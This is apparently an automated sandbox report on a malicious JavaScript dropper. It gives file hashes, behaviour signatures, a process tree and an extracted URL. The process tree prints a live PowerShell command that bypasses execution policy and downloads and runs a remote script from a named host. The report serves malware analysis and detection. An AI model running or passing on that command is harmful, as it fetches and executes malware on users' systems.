Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    05-03-2024 02:11

General

  • Target

    35dc57c29fefd8ae274fafc6042dbb5d483c73bdf038dff35d03b220c9152fb8.js

  • Size

    71KB

  • MD5

    f5a0c62b4562d0767113b2c64e13827f

  • SHA1

    f788547c5bf999c23de94b8c4424ea7e7c6da1ff

  • SHA256

    35dc57c29fefd8ae274fafc6042dbb5d483c73bdf038dff35d03b220c9152fb8

  • SHA512

    d812be7bb4e6d8aa4de73f7578ed4b500156b2b1a7d20c8d2edcb02aa85de01ae743c658516278139a5ef8ba211bcb32a8c2a0d4cac8aace38fc9f3a388afc1b

  • SSDEEP

    1536:Gy9fnyXp2/hk77kRO+WjEwHuXB5o2In7mhvk8qvacF3qAY+aXjCerpa:tfyXQw8OREwSZqvacF3/pSjCD

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://compactgrill.hu/care.txt

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\35dc57c29fefd8ae274fafc6042dbb5d483c73bdf038dff35d03b220c9152fb8.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2676
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://compactgrill.hu/care.txt')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3008

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/3008-4-0x000000001B650000-0x000000001B932000-memory.dmp

    Filesize

    2.9MB

  • memory/3008-5-0x0000000002970000-0x0000000002978000-memory.dmp

    Filesize

    32KB

  • memory/3008-8-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

    Filesize

    9.6MB

  • memory/3008-10-0x00000000029C0000-0x0000000002A40000-memory.dmp

    Filesize

    512KB

  • memory/3008-9-0x00000000029C0000-0x0000000002A40000-memory.dmp

    Filesize

    512KB

  • memory/3008-7-0x00000000029C0000-0x0000000002A40000-memory.dmp

    Filesize

    512KB

  • memory/3008-6-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

    Filesize

    9.6MB

  • memory/3008-11-0x00000000029C0000-0x0000000002A40000-memory.dmp

    Filesize

    512KB

  • memory/3008-12-0x00000000029C0000-0x0000000002A40000-memory.dmp

    Filesize

    512KB

  • memory/3008-13-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

    Filesize

    9.6MB